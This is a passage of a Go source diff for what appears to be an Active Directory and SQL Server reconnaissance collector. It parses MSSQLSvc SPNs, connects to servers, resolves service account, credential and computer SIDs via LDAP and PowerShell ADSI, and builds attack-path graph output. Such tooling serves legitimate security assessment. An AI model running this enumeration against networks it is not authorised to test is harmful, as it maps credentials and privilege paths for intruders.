+ fmt.Printf("PowerShell enumerated %d computers\n", len(computers))
+ return computers, nil
+}
+
+// parseSPN parses an SPN string into an SPN struct
+func (c *Collector) parseSPN(spnStr, accountName, accountSID string) *types.SPN {
+ // Format: MSSQLSvc/hostname:portOrInstance
+ if !strings.HasPrefix(strings.ToUpper(spnStr), "MSSQLSVC/") {
+ return nil
+ }
+
+ remainder := spnStr[9:] // Remove "MSSQLSvc/"
+ parts := strings.SplitN(remainder, ":", 2)
+ hostname := parts[0]
+
+ var port, instanceName string
+ if len(parts) > 1 {
+ portOrInstance := parts[1]
+ // Check if it's a port number
+ if _, err := fmt.Sscanf(portOrInstance, "%d", new(int)); err == nil {
+ port = portOrInstance
+ } else {
+ instanceName = portOrInstance
+ }
+ }
+
+ return &types.SPN{
+ Hostname: hostname,
+ Port: port,
+ InstanceName: instanceName,
+ AccountName: accountName,
+ AccountSID: accountSID,
+ }
+}
+
+// processServer collects data from a single SQL Server
+func (c *Collector) processServer(server *ServerToProcess) error {
+ ctx, cancel := context.WithTimeout(context.Background(), 5*time.Minute)
+ defer cancel()
+
+ // Check if we have SPN data for this server (keyed by ObjectIdentifier)
+ c.serverSPNDataMu.RLock()
+ spnInfo := c.serverSPNData[server.ObjectIdentifier]
+ c.serverSPNDataMu.RUnlock()
+
+ // Connect to the server
+ client := mssql.NewClient(server.ConnectionString, c.config.UserID, c.config.Password)
+ client.SetDomain(c.config.Domain)
+ client.SetLDAPCredentials(c.config.LDAPUser, c.config.LDAPPassword)
+ client.SetVerbose(c.config.Verbose)
+ client.SetCollectFromLinkedServers(c.config.CollectFromLinkedServers)
+ if err := client.Connect(ctx); err != nil {
+ // If hostname doesn't have a domain but we have one from linked server discovery, try FQDN
+ if server.Domain != "" && !strings.Contains(server.Hostname, ".") {
+ fqdnHostname := server.Hostname + "." + server.Domain
+ c.logVerbose("Connection failed, trying FQDN: %s", fqdnHostname)
+
+ // Build FQDN connection string
+ fqdnConnStr := fqdnHostname
+ if server.Port != 0 && server.Port != 1433 {
+ fqdnConnStr = fmt.Sprintf("%s:%d", fqdnHostname, server.Port)
+ } else if server.InstanceName != "" {
+ fqdnConnStr = fmt.Sprintf("%s\\%s", fqdnHostname, server.InstanceName)
+ }
+
+ fqdnClient := mssql.NewClient(fqdnConnStr, c.config.UserID, c.config.Password)
+ fqdnClient.SetDomain(c.config.Domain)
+ fqdnClient.SetLDAPCredentials(c.config.LDAPUser, c.config.LDAPPassword)
+ fqdnClient.SetVerbose(c.config.Verbose)
+ fqdnClient.SetCollectFromLinkedServers(c.config.CollectFromLinkedServers)
+ fqdnErr := fqdnClient.Connect(ctx)
+ if fqdnErr == nil {
+ // FQDN connection succeeded - update server info and continue
+ fmt.Printf(" Connected using FQDN: %s\n", fqdnHostname)
+ server.Hostname = fqdnHostname
+ server.ConnectionString = fqdnConnStr
+ client = fqdnClient
+ // Fall through to continue with collection
+ goto connected
+ }
+ fqdnClient.Close()
+ c.logVerbose("FQDN connection also failed: %v", fqdnErr)
+ }
+
+ // Connection failed - check if we have SPN data to create partial output
+ if spnInfo != nil {
+ fmt.Printf(" Connection failed but server has SPN - creating nodes/edges from SPN data\n")
+ return c.processServerFromSPNData(server, spnInfo, err)
+ }
+
+ // No SPN data available - try to look up SPNs from AD for this server
+ spnInfo = c.lookupSPNsForServer(server)
+ if spnInfo != nil {
+ fmt.Printf(" Connection failed - looked up SPN from AD, creating partial output\n")
+ return c.processServerFromSPNData(server, spnInfo, err)
+ }
+
+ // No SPN data - skip this server
+ return fmt.Errorf("connection failed and no SPN data available: %w", err)
+ }
+
+connected:
+ defer client.Close()
+
+ c.logVerbose("Successfully connected to %s", server.ConnectionString)
+
+ // Collect server information
+ serverInfo, err := client.CollectServerInfo(ctx)
+ if err != nil {
+ // Collection failed after connection - try partial output if we have SPN data
+ if spnInfo != nil {
+ fmt.Printf(" Collection failed but server has SPN - creating nodes/edges from SPN data\n")
+ return c.processServerFromSPNData(server, spnInfo, err)
+ }
+
+ // Try AD lookup for SPN data
+ spnInfo = c.lookupSPNsForServer(server)
+ if spnInfo != nil {
+ fmt.Printf(" Collection failed - looked up SPN from AD, creating partial output\n")
+ return c.processServerFromSPNData(server, spnInfo, err)
+ }
+
+ return fmt.Errorf("collection failed: %w", err)
+ }
+
+ // Merge SPN data if available
+ if spnInfo != nil {
+ if len(serverInfo.SPNs) == 0 {
+ serverInfo.SPNs = spnInfo.SPNs
+ }
+ // Add service account from SPN if not already present
+ if len(serverInfo.ServiceAccounts) == 0 && spnInfo.AccountName != "" {
+ serverInfo.ServiceAccounts = append(serverInfo.ServiceAccounts, types.ServiceAccount{
+ Name: spnInfo.AccountName,
+ SID: spnInfo.AccountSID,
+ ObjectIdentifier: spnInfo.AccountSID,
+ })
+ }
+ }
+
+ // If we couldn't get the computer SID from SQL Server, try other methods
+ // The resolution function will extract domain from FQDN if not provided
+ if serverInfo.ComputerSID == "" {
+ c.resolveComputerSIDViaLDAP(serverInfo)
+ }
+
+ // Convert built-in service accounts (LocalSystem, Local Service, Network Service)
+ // to the computer account, as they authenticate on the network as the computer
+ c.preprocessServiceAccounts(serverInfo)
+
+ // Resolve service account SIDs via LDAP if they don't have SIDs
+ c.resolveServiceAccountSIDsViaLDAP(serverInfo)
+
+ // Resolve credential identity SIDs via LDAP for credential edges
+ c.resolveCredentialSIDsViaLDAP(serverInfo)
+
+ // Enumerate local Windows groups that have SQL logins and their domain members
+ c.enumerateLocalGroupMembers(serverInfo)
+
+ // Check CVE-2025-49758 patch status
+ c.logCVE202549758Status(serverInfo)
+
+ // Process discovered linked servers
+ c.processLinkedServers(serverInfo, server)
+
+ fmt.Printf("Collected: %d principals, %d databases\n",
+ len(serverInfo.ServerPrincipals), len(serverInfo.Databases))
+
+ // Generate output filename using PowerShell naming convention
+ outputFile := filepath.Join(c.tempDir, c.generateFilename(server))
+
+ if err := c.generateOutput(serverInfo, outputFile); err != nil {
+ return fmt.Errorf("output generation failed: %w", err)
+ }
+
+ c.addOutputFile(outputFile)
+ fmt.Printf("Output: %s\n", outputFile)
+
+ return nil
+}
+
+// processServerFromSPNData creates partial output when connection fails but SPN data exists
+func (c *Collector) processServerFromSPNData(server *ServerToProcess, spnInfo *ServerSPNInfo, connErr error) error {
+ // Try to resolve the FQDN
+ fqdn := server.Hostname
+ if !strings.Contains(server.Hostname, ".") && c.config.Domain != "" {
+ fqdn = fmt.Sprintf("%s.%s", server.Hostname, strings.ToLower(c.config.Domain))
+ }
+
+ // Try to resolve computer SID if not already resolved
+ computerSID := server.ComputerSID
+ if computerSID == "" && c.config.Domain != "" {
+ if runtime.GOOS == "windows" {
+ sid, err := ad.ResolveComputerSIDWindows(server.Hostname, c.config.Domain)
+ if err == nil && sid != "" {
+ computerSID = sid
+ server.ComputerSID = sid
+ }
+ }
+ }
+
+ // Use ObjectIdentifier from server, or build it if needed
+ objectIdentifier := server.ObjectIdentifier
+ if objectIdentifier == "" {
+ if computerSID != "" {
+ if server.InstanceName != "" && server.InstanceName != "MSSQLSERVER" {
+ objectIdentifier = fmt.Sprintf("%s:%s", computerSID, server.InstanceName)
+ } else {
+ objectIdentifier = fmt.Sprintf("%s:%d", computerSID, server.Port)
+ }
+ } else {
+ if server.InstanceName != "" && server.InstanceName != "MSSQLSERVER" {
+ objectIdentifier = fmt.Sprintf("%s:%s", strings.ToLower(fqdn), server.InstanceName)
+ } else {
+ objectIdentifier = fmt.Sprintf("%s:%d", strings.ToLower(fqdn), server.Port)
+ }
+ }
+ }
+
+ // Create minimal server info from SPN data
+ // NOTE: We intentionally do NOT add ServiceAccounts here to match PowerShell behavior.
+ // PS stores ServiceAccountSIDs from SPN but uses ServiceAccounts (from SQL query) for edge creation.
+ // For failed connections, ServiceAccounts is empty, so no service account edges are created.
+ serverInfo := &types.ServerInfo{
+ ObjectIdentifier: objectIdentifier,
+ Hostname: server.Hostname,
+ ServerName: server.ConnectionString,
+ SQLServerName: server.ConnectionString,
+ InstanceName: server.InstanceName,
+ Port: server.Port,
+ FQDN: fqdn,
+ ComputerSID: computerSID,
+ SPNs: spnInfo.SPNs,
+ // ServiceAccounts intentionally left empty to match PS behavior
+ }
+
+ // Check CVE-2025-49758 patch status (will show version unknown for SPN-only data)
+ c.logCVE202549758Status(serverInfo)
+
+ fmt.Printf("Created partial output from SPN data (connection error: %v)\n", connErr)
+
+ // Generate output using the consistent filename generation
+ outputFile := filepath.Join(c.tempDir, c.generateFilename(server))
+
+ if err := c.generateOutput(serverInfo, outputFile); err != nil {
+ return fmt.Errorf("output generation failed: %w", err)
+ }
+
+ c.addOutputFile(outputFile)
+ fmt.Printf("Output: %s\n", outputFile)
+
+ return nil
+}
+
+// lookupSPNsForServer queries AD for SPNs for a specific server hostname
+// This is used as a fallback when we don't have pre-enumerated SPN data
+func (c *Collector) lookupSPNsForServer(server *ServerToProcess) *ServerSPNInfo {
+ // Need a domain to query AD
+ domain := c.config.Domain
+ if domain == "" {
+ // Try to extract domain from hostname FQDN
+ if strings.Contains(server.Hostname, ".") {
+ parts := strings.SplitN(server.Hostname, ".", 2)
+ if len(parts) > 1 {
+ domain = parts[1]
+ }
+ }
+ }
+ // Use domain from linked server discovery if available
+ if domain == "" && server.Domain != "" {
+ domain = server.Domain
+ c.logVerbose("Using domain from linked server discovery: %s", domain)
+ }
+
+ if domain == "" {
+ fmt.Println(" Cannot lookup SPN - no domain available")
+ return nil
+ }
+
+ fmt.Printf(" Looking up SPNs for %s in AD (domain: %s)\n", server.Hostname, domain)
+
+ // Try native LDAP first
+ adClient := ad.NewClient(domain, c.config.DomainController, c.config.SkipPrivateAddress, c.config.LDAPUser, c.config.LDAPPassword, c.getDNSResolver())
+ spns, err := adClient.LookupMSSQLSPNsForHost(server.Hostname)
+ adClient.Close()
+
+ // If LDAP failed on Windows, try PowerShell/ADSI
+ if err != nil && runtime.GOOS == "windows" {
+ fmt.Println(" LDAP lookup failed, trying PowerShell/ADSI fallback...")
+ spns, err = c.lookupSPNsViaPowerShell(server.Hostname)
+ }
+
+ if err != nil {
+ fmt.Printf(" AD SPN lookup failed: %v\n", err)
+ return nil
+ }
+
+ if len(spns) == 0 {
+ fmt.Printf(" No SPNs found in AD for %s\n", server.Hostname)
+ return nil
+ }
+
+ fmt.Printf(" Found %d SPNs in AD for %s\n", len(spns), server.Hostname)
+
+ // Build ServerSPNInfo from the SPNs
+ spnInfo := &ServerSPNInfo{
+ SPNs: []string{},
+ }
+
+ for _, spn := range spns {
+ // Build SPN string
+ spnStr := fmt.Sprintf("MSSQLSvc/%s", spn.Hostname)
+ if spn.Port != "" {
+ spnStr += ":" + spn.Port
+ } else if spn.InstanceName != "" {
+ spnStr += ":" + spn.InstanceName
+ }
+ spnInfo.SPNs = append(spnInfo.SPNs, spnStr)
+
+ // Use the first account info we find
+ if spnInfo.AccountName == "" {
+ spnInfo.AccountName = spn.AccountName
+ spnInfo.AccountSID = spn.AccountSID
+ }
+ }
+
+ // Also resolve computer SID if we don't have it
+ if server.ComputerSID == "" {
+ sid, err := ad.ResolveComputerSIDWindows(server.Hostname, domain)
+ if err == nil && sid != "" {
+ server.ComputerSID = sid
+ // Rebuild ObjectIdentifier with the new SID
+ if server.InstanceName != "" && server.InstanceName != "MSSQLSERVER" {
+ server.ObjectIdentifier = fmt.Sprintf("%s:%s", sid, server.InstanceName)
+ } else {
+ server.ObjectIdentifier = fmt.Sprintf("%s:%d", sid, server.Port)
+ }
+ }
+ }
+
+ // Store in cache for future use
+ c.serverSPNDataMu.Lock()
+ c.serverSPNData[server.ObjectIdentifier] = spnInfo
+ c.serverSPNDataMu.Unlock()
+
+ return spnInfo
+}
+
+// lookupSPNsViaPowerShell uses PowerShell/ADSI to look up SPNs for a specific hostname
+func (c *Collector) lookupSPNsViaPowerShell(hostname string) ([]types.SPN, error) {
+ // Extract short hostname for matching
+ shortHost := hostname
+ if idx := strings.Index(hostname, "."); idx > 0 {
+ shortHost = hostname[:idx]
+ }
+
+ // PowerShell script to look up SPNs for a specific hostname
+ script := fmt.Sprintf(`
+$shortHost = '%s'
+$fqdn = '%s'
+$searcher = [adsisearcher]"(|(servicePrincipalName=MSSQLSvc/$shortHost*)(servicePrincipalName=MSSQLSvc/$fqdn*))"
+$searcher.PageSize = 1000
+$searcher.PropertiesToLoad.AddRange(@('servicePrincipalName', 'samAccountName', 'objectSid'))
+$results = $searcher.FindAll()
+foreach ($result in $results) {
+ $sid = (New-Object System.Security.Principal.SecurityIdentifier($result.Properties['objectsid'][0], 0)).Value
+ $samName = $result.Properties['samaccountname'][0]
+ foreach ($spn in $result.Properties['serviceprincipalname']) {
+ if ($spn -like 'MSSQLSvc/*') {
+ # Filter to only matching hostnames
+ $spnHost = (($spn -split '/')[1] -split ':')[0]
+ if ($spnHost -ieq $shortHost -or $spnHost -ieq $fqdn -or $spnHost -like "$shortHost.*") {
+ Write-Output "$spn|$samName|$sid"
+ }
+ }
+ }
+}
+`, shortHost, hostname)
+
+ cmd := exec.Command("powershell", "-NoProfile", "-NonInteractive", "-Command", script)
+ output, err := cmd.Output()
+ if err != nil {
+ return nil, fmt.Errorf("PowerShell SPN lookup failed: %w", err)
+ }
+
+ var spns []types.SPN
+ lines := strings.Split(string(output), "\n")
+ for _, line := range lines {
+ line = strings.TrimSpace(line)
+ if line == "" {
+ continue
+ }
+
+ parts := strings.Split(line, "|")
+ if len(parts) < 3 {
+ continue
+ }
+
+ spnStr := parts[0]
+ accountName := parts[1]
+ accountSID := parts[2]
+
+ spn := c.parseSPN(spnStr, accountName, accountSID)
+ if spn != nil {
+ spns = append(spns, *spn)
+ }
+ }
+
+ return spns, nil
+}
+
+// parseServerInstance parses a server instance string into hostname, port, and instance name
+func (c *Collector) parseServerInstance(serverInstance string) (hostname, port, instanceName string) {
+ // Handle formats: hostname, hostname:port, hostname\instance, hostname,port
+ if strings.Contains(serverInstance, "\\") {
+ parts := strings.SplitN(serverInstance, "\\", 2)
+ hostname = parts[0]
+ if len(parts) > 1 {
+ instanceName = parts[1]
+ }
+ } else if strings.Contains(serverInstance, ":") {
+ parts := strings.SplitN(serverInstance, ":", 2)
+ hostname = parts[0]
+ if len(parts) > 1 {
+ port = parts[1]
+ }
+ } else if strings.Contains(serverInstance, ",") {
+ parts := strings.SplitN(serverInstance, ",", 2)
+ hostname = parts[0]
+ if len(parts) > 1 {
+ port = parts[1]
+ }
+ } else {
+ hostname = serverInstance
+ }
+ return
+}
+
+// resolveComputerSIDViaLDAP attempts to resolve the computer SID via multiple methods
+func (c *Collector) resolveComputerSIDViaLDAP(serverInfo *types.ServerInfo) {
+ // Try to determine the domain from the FQDN if not provided
+ domain := c.config.Domain
+ if domain == "" && strings.Contains(serverInfo.FQDN, ".") {
+ // Extract domain from FQDN (e.g., server.domain.com -> domain.com)
+ parts := strings.SplitN(serverInfo.FQDN, ".", 2)
+ if len(parts) > 1 {
+ domain = parts[1]
+ }
+ }
+
+ // Use the machine name (without the FQDN)
+ machineName := serverInfo.Hostname
+ if strings.Contains(machineName, ".") {
+ machineName = strings.Split(machineName, ".")[0]
+ }
+
+ c.logVerbose("Attempting to resolve computer SID for: %s (domain: %s)", machineName, domain)
+
+ // Method 1: Try Windows API (LookupAccountName) - most reliable on Windows
+ c.logVerbose(" Method 1: Windows API LookupAccountName")
+ sid, err := ad.ResolveComputerSIDWindows(machineName, domain)
+ if err == nil && sid != "" {
+ c.applyComputerSID(serverInfo, sid)
+ c.logVerbose(" Resolved computer SID via Windows API: %s", sid)
+ return
+ }
+ c.logVerbose(" Windows API method failed: %v", err)
+
+ // Method 2: If we have a domain SID from SQL Server, try Windows API with that context
+ if serverInfo.DomainSID != "" {
+ c.logVerbose(" Method 2: Windows API with domain SID context")
+ sid, err := ad.ResolveComputerSIDByDomainSID(machineName, serverInfo.DomainSID, domain)
+ if err == nil && sid != "" {
+ c.applyComputerSID(serverInfo, sid)
+ c.logVerbose(" Resolved computer SID via Windows API (domain context): %s", sid)
+ return
+ }
+ c.logVerbose(" Windows API with domain context failed: %v", err)
+ }
+
+ // Method 3: Try LDAP
+ if domain == "" {
+ c.logVerbose(" Cannot try LDAP: no domain specified (use -d flag)")
+ fmt.Printf(" Note: Could not resolve computer SID (no domain specified)\n")
+ return
+ }
+
+ c.logVerbose(" Method 3: LDAP query")
+
+ // Create AD client
+ adClient := ad.NewClient(domain, c.config.DomainController, c.config.SkipPrivateAddress, c.config.LDAPUser, c.config.LDAPPassword, c.getDNSResolver())
+ defer adClient.Close()
+
+ sid, err = adClient.ResolveComputerSID(machineName)
+ if err != nil {
+ fmt.Printf(" Note: Could not resolve computer SID via LDAP: %v\n", err)
+ return
+ }
+
+ c.applyComputerSID(serverInfo, sid)
+ c.logVerbose(" Resolved computer SID via LDAP: %s", sid)
+}
+
+// applyComputerSID applies the resolved computer SID to the server info and updates all references
+func (c *Collector) applyComputerSID(serverInfo *types.ServerInfo, sid string) {
+ // Store the old ObjectIdentifier to update references
+ oldObjectIdentifier := serverInfo.ObjectIdentifier
+
+ serverInfo.ComputerSID = sid
+ serverInfo.ObjectIdentifier = fmt.Sprintf("%s:%d", sid, serverInfo.Port)
+ fmt.Printf(" Resolved computer SID: %s\n", sid)
+
+ // Update all ObjectIdentifiers that reference the old server identifier
+ c.updateObjectIdentifiers(serverInfo, oldObjectIdentifier)
+}
+
+// updateObjectIdentifiers updates all ObjectIdentifiers after computer SID is resolved
+func (c *Collector) updateObjectIdentifiers(serverInfo *types.ServerInfo, oldServerID string) {
+ newServerID := serverInfo.ObjectIdentifier
+
+ // Update server principals
+ for i := range serverInfo.ServerPrincipals {
+ p := &serverInfo.ServerPrincipals[i]
+ // Update ObjectIdentifier: Name@OldServerID -> Name@NewServerID
+ p.ObjectIdentifier = strings.Replace(p.ObjectIdentifier, "@"+oldServerID, "@"+newServerID, 1)
+ // Update OwningObjectIdentifier if it references the server
+ if p.OwningObjectIdentifier != "" {
+ p.OwningObjectIdentifier = strings.Replace(p.OwningObjectIdentifier, "@"+oldServerID, "@"+newServerID, 1)
+ }
+ // Update MemberOf role references: Role@OldServerID -> Role@NewServerID
+ for j := range p.MemberOf {
+ p.MemberOf[j].ObjectIdentifier = strings.Replace(p.MemberOf[j].ObjectIdentifier, "@"+oldServerID, "@"+newServerID, 1)
+ }
+ // Update Permissions target references
+ for j := range p.Permissions {
+ if p.Permissions[j].TargetObjectIdentifier != "" {
+ p.Permissions[j].TargetObjectIdentifier = strings.Replace(p.Permissions[j].TargetObjectIdentifier, "@"+oldServerID, "@"+newServerID, 1)
+ }
+ }
+ }
+
+ // Update databases and database principals
+ for i := range serverInfo.Databases {
+ db := &serverInfo.Databases[i]
+ // Update database ObjectIdentifier: OldServerID\DBName -> NewServerID\DBName
+ db.ObjectIdentifier = strings.Replace(db.ObjectIdentifier, oldServerID+"\\", newServerID+"\\", 1)
+
+ // Update database owner ObjectIdentifier: Name@OldServerID -> Name@NewServerID
+ if db.OwnerObjectIdentifier != "" {
+ db.OwnerObjectIdentifier = strings.Replace(db.OwnerObjectIdentifier, "@"+oldServerID, "@"+newServerID, 1)
+ }
+
+ // Update database principals
+ for j := range db.DatabasePrincipals {
+ p := &db.DatabasePrincipals[j]
+ // Update ObjectIdentifier: Name@OldServerID\DBName -> Name@NewServerID\DBName
+ p.ObjectIdentifier = strings.Replace(p.ObjectIdentifier, "@"+oldServerID+"\\", "@"+newServerID+"\\", 1)
+ // Update OwningObjectIdentifier
+ if p.OwningObjectIdentifier != "" {
+ p.OwningObjectIdentifier = strings.Replace(p.OwningObjectIdentifier, "@"+oldServerID+"\\", "@"+newServerID+"\\", 1)
+ }
+ // Update ServerLogin.ObjectIdentifier
+ if p.ServerLogin != nil && p.ServerLogin.ObjectIdentifier != "" {
+ p.ServerLogin.ObjectIdentifier = strings.Replace(p.ServerLogin.ObjectIdentifier, "@"+oldServerID, "@"+newServerID, 1)
+ }
+ // Update MemberOf role references: Role@OldServerID\DBName -> Role@NewServerID\DBName
+ for k := range p.MemberOf {
+ p.MemberOf[k].ObjectIdentifier = strings.Replace(p.MemberOf[k].ObjectIdentifier, "@"+oldServerID+"\\", "@"+newServerID+"\\", 1)
+ }
+ // Update Permissions target references
+ for k := range p.Permissions {
+ if p.Permissions[k].TargetObjectIdentifier != "" {
+ p.Permissions[k].TargetObjectIdentifier = strings.Replace(p.Permissions[k].TargetObjectIdentifier, "@"+oldServerID+"\\", "@"+newServerID+"\\", 1)
+ }
+ }
+ }
+ }
+}
+
+// preprocessServiceAccounts converts built-in service accounts to computer account
+// When SQL Server runs as LocalSystem, Local Service, or Network Service,
+// it authenticates on the network as the computer account
+func (c *Collector) preprocessServiceAccounts(serverInfo *types.ServerInfo) {
+ seenSIDs := make(map[string]bool)
+ var uniqueServiceAccounts []types.ServiceAccount
+
+ for i := range serverInfo.ServiceAccounts {
+ sa := serverInfo.ServiceAccounts[i]
+
+ // Skip NT SERVICE\* virtual service accounts entirely
+ // PowerShell doesn't convert these to computer accounts - it just skips them
+ // because they can't be resolved in AD (they're virtual accounts)
+ if strings.HasPrefix(strings.ToUpper(sa.Name), "NT SERVICE\\") {
+ c.logVerbose("Skipping NT SERVICE virtual account: %s", sa.Name)
+ continue
+ }
+
+ // Check if this is a built-in account that uses the computer account for network auth
+ // These DO get converted to computer accounts (LocalSystem, NT AUTHORITY\*)
+ isBuiltIn := sa.Name == "LocalSystem" ||
+ strings.ToUpper(sa.Name) == "NT AUTHORITY\\SYSTEM" ||
+ strings.ToUpper(sa.Name) == "NT AUTHORITY\\LOCAL SERVICE" ||
+ strings.ToUpper(sa.Name) == "NT AUTHORITY\\LOCALSERVICE" ||
+ strings.ToUpper(sa.Name) == "NT AUTHORITY\\NETWORK SERVICE" ||
+ strings.ToUpper(sa.Name) == "NT AUTHORITY\\NETWORKSERVICE"
+
+ if isBuiltIn {
+ // Convert to computer account (HOSTNAME$)
+ hostname := serverInfo.Hostname
+ // Strip domain from FQDN
+ if strings.Contains(hostname, ".") {
+ hostname = strings.Split(hostname, ".")[0]
+ }
+ computerAccount := strings.ToUpper(hostname) + "$"
+
+ c.logVerbose("Converting built-in service account %s to computer account %s", sa.Name, computerAccount)
+
+ sa.Name = computerAccount
+ sa.ConvertedFromBuiltIn = true // Mark as converted from built-in
+
+ // If we already have the computer SID, use it
+ if serverInfo.ComputerSID != "" {
+ sa.SID = serverInfo.ComputerSID
+ sa.ObjectIdentifier = serverInfo.ComputerSID
+ c.logVerbose("Using known computer SID: %s", serverInfo.ComputerSID)
+ }
+ }
+
+ // De-duplicate: only keep the first occurrence of each SID
+ key := sa.SID
+ if key == "" {
+ key = sa.Name // Use name if SID not resolved yet
+ }
+ if !seenSIDs[key] {
+ seenSIDs[key] = true
+ uniqueServiceAccounts = append(uniqueServiceAccounts, sa)
+ } else {
+ c.logVerbose("Skipping duplicate service account: %s (%s)", sa.Name, key)
+ }
+ }
+
+ serverInfo.ServiceAccounts = uniqueServiceAccounts
+}
+
+// resolveServiceAccountSIDsViaLDAP resolves service account SIDs via multiple methods
+func (c *Collector) resolveServiceAccountSIDsViaLDAP(serverInfo *types.ServerInfo) {
+ for i := range serverInfo.ServiceAccounts {
+ sa := &serverInfo.ServiceAccounts[i]
+
+ // Skip non-domain accounts (Local System, Local Service, etc.)
+ if !strings.Contains(sa.Name, "\\") && !strings.Contains(sa.Name, "@") && !strings.HasSuffix(sa.Name, "$") {
+ continue
+ }
+
+ // Skip virtual accounts like NT SERVICE\*
+ if strings.HasPrefix(strings.ToUpper(sa.Name), "NT SERVICE\\") ||
+ strings.HasPrefix(strings.ToUpper(sa.Name), "NT AUTHORITY\\") {
+ continue
+ }
+
+ // Check if this is a computer account (name ends with $)
+ isComputerAccount := strings.HasSuffix(sa.Name, "$")
+
+ // If we don't have a SID yet, try to resolve it
+ if sa.SID == "" {
+ // Method 1: Try Windows API first (most reliable on Windows)
+ c.logVerbose(" Resolving service account %s via Windows API", sa.Name)
+ sid, err := ad.ResolveAccountSIDWindows(sa.Name)
+ if err == nil && sid != "" && strings.HasPrefix(sid, "S-1-5-21-") {
+ sa.SID = sid
+ sa.ObjectIdentifier = sid
+ c.logVerbose(" Resolved service account SID via Windows API: %s", sid)
+ fmt.Printf(" Resolved service account SID for %s: %s\n", sa.Name, sa.SID)
+ } else {
+ c.logVerbose(" Windows API failed: %v", err)
+ }
+ }
+
+ // For computer accounts, we need to look up the DNSHostName via LDAP
+ // PowerShell uses DNSHostName for computer account names (e.g., FORS13DA.ad005.onehc.net)
+ // instead of SAMAccountName (FORS13DA$)
+ if isComputerAccount && sa.SID != "" {
+ // First, check if this is the server's own computer account
+ // by comparing the SID with the server's ComputerSID
+ if sa.SID == serverInfo.ComputerSID && serverInfo.FQDN != "" {
+ // Use the server's own FQDN directly
+ oldName := sa.Name
+ sa.Name = serverInfo.FQDN
+ c.logVerbose(" Updated computer account name from %s to %s (server's own computer account)", oldName, sa.Name)
+ fmt.Printf(" Updated computer account name from %s to %s\n", oldName, sa.Name)
+ continue
+ }
+
+ // For other computer accounts, try LDAP
+ if c.config.Domain != "" {
+ adClient := ad.NewClient(c.config.Domain, c.config.DomainController, c.config.SkipPrivateAddress, c.config.LDAPUser, c.config.LDAPPassword, c.getDNSResolver())
+ principal, err := adClient.ResolveSID(sa.SID)
+ adClient.Close()
+ if err == nil && principal != nil && principal.ObjectClass == "computer" {
+ // Use the resolved name (which is DNSHostName for computers in our updated AD client)
+ oldName := sa.Name
+ sa.Name = principal.Name
+ sa.ResolvedPrincipal = principal
+ c.logVerbose(" Updated computer account name from %s to %s", oldName, sa.Name)
+ fmt.Printf(" Updated computer account name from %s to %s\n", oldName, sa.Name)
+ }
+ }
+ continue
+ }
+
+ // If we still don't have a SID and this is not a computer account, try LDAP
+ if sa.SID == "" {
+ if c.config.Domain == "" {
+ fmt.Printf(" Note: Could not resolve service account %s (no domain specified)\n", sa.Name)
+ continue
+ }
+
+ // Create AD client
+ adClient := ad.NewClient(c.config.Domain, c.config.DomainController, c.config.SkipPrivateAddress, c.config.LDAPUser, c.config.LDAPPassword, c.getDNSResolver())
+ principal, err := adClient.ResolveName(sa.Name)
+ adClient.Close()
+ if err != nil {
+ fmt.Printf(" Note: Could not resolve service account %s via LDAP: %v\n", sa.Name, err)
+ continue
+ }
+
+ sa.SID = principal.SID
+ sa.ObjectIdentifier = principal.SID
+ sa.ResolvedPrincipal = principal
+ // Also update the name if it's a computer
+ if principal.ObjectClass == "computer" {
+ sa.Name = principal.Name
+ }
+ fmt.Printf(" Resolved service account SID for %s: %s\n", sa.Name, sa.SID)
+ }
+ }
+}
+
+// resolveCredentialSIDsViaLDAP resolves credential identities to AD SIDs
+// This matches PowerShell's Resolve-DomainPrincipal behavior for credential edges
+func (c *Collector) resolveCredentialSIDsViaLDAP(serverInfo *types.ServerInfo) {
+ if c.config.Domain == "" {
+ return
+ }
+
+ // Helper to resolve a credential identity to a domain principal via LDAP.
+ // Attempts resolution for all identities (not just domain\user or user@domain format),
+ // matching PowerShell's Resolve-DomainPrincipal behavior.
+ resolveIdentity := func(identity string) *types.DomainPrincipal {
+ if identity == "" {
+ return nil
+ }
+ adClient := ad.NewClient(c.config.Domain, c.config.DomainController, c.config.SkipPrivateAddress, c.config.LDAPUser, c.config.LDAPPassword, c.config.DNSResolver)
+ principal, err := adClient.ResolveName(identity)
+ adClient.Close()
+ if err != nil || principal == nil || principal.SID == "" {
+ return nil
+ }
+ return principal
+ }
+
+ // Resolve server-level credentials (mapped via ALTER LOGIN ... WITH CREDENTIAL)
+ for i := range serverInfo.ServerPrincipals {
+ if serverInfo.ServerPrincipals[i].MappedCredential != nil {
+ cred := serverInfo.ServerPrincipals[i].MappedCredential
+ if principal := resolveIdentity(cred.CredentialIdentity); principal != nil {
+ cred.ResolvedSID = principal.SID
+ cred.ResolvedPrincipal = principal
+ c.logVerbose(" Resolved credential %s -> %s", cred.CredentialIdentity, principal.SID)
+ }
+ }
+ }
+
+ // Resolve standalone credentials (for HasMappedCred edges)
+ for i := range serverInfo.Credentials {
+ if principal := resolveIdentity(serverInfo.Credentials[i].CredentialIdentity); principal != nil {
+ serverInfo.Credentials[i].ResolvedSID = principal.SID
+ serverInfo.Credentials[i].ResolvedPrincipal = principal
+ c.logVerbose(" Resolved credential %s -> %s", serverInfo.Credentials[i].CredentialIdentity, principal.SID)
+ }
+ }
+
+ // Resolve proxy account credentials
+ for i := range serverInfo.ProxyAccounts {
+ if principal := resolveIdentity(serverInfo.ProxyAccounts[i].CredentialIdentity); principal != nil {
+ serverInfo.ProxyAccounts[i].ResolvedSID = principal.SID
+ serverInfo.ProxyAccounts[i].ResolvedPrincipal = principal
+ c.logVerbose(" Resolved proxy credential %s -> %s", serverInfo.ProxyAccounts[i].CredentialIdentity, principal.SID)
+ }
+ }
+
+ // Resolve database-scoped credentials
+ for i := range serverInfo.Databases {
+ for j := range serverInfo.Databases[i].DBScopedCredentials {
+ cred := &serverInfo.Databases[i].DBScopedCredentials[j]
+ if principal := resolveIdentity(cred.CredentialIdentity); principal != nil {
+ cred.ResolvedSID = principal.SID
+ cred.ResolvedPrincipal = principal
+ c.logVerbose(" Resolved DB scoped credential %s -> %s", cred.CredentialIdentity, principal.SID)
+ }
+ }
+ }
+}
+
+// enumerateLocalGroupMembers finds local Windows groups that have SQL logins and enumerates their domain members via WMI
+func (c *Collector) enumerateLocalGroupMembers(serverInfo *types.ServerInfo) {
+ if runtime.GOOS != "windows" {
+ c.logVerbose("Skipping local group enumeration (not on Windows)")
+ return
+ }
+
+ serverInfo.LocalGroupsWithLogins = make(map[string]*types.LocalGroupInfo)
+
+ // Get the hostname part for matching
+ serverHostname := serverInfo.Hostname
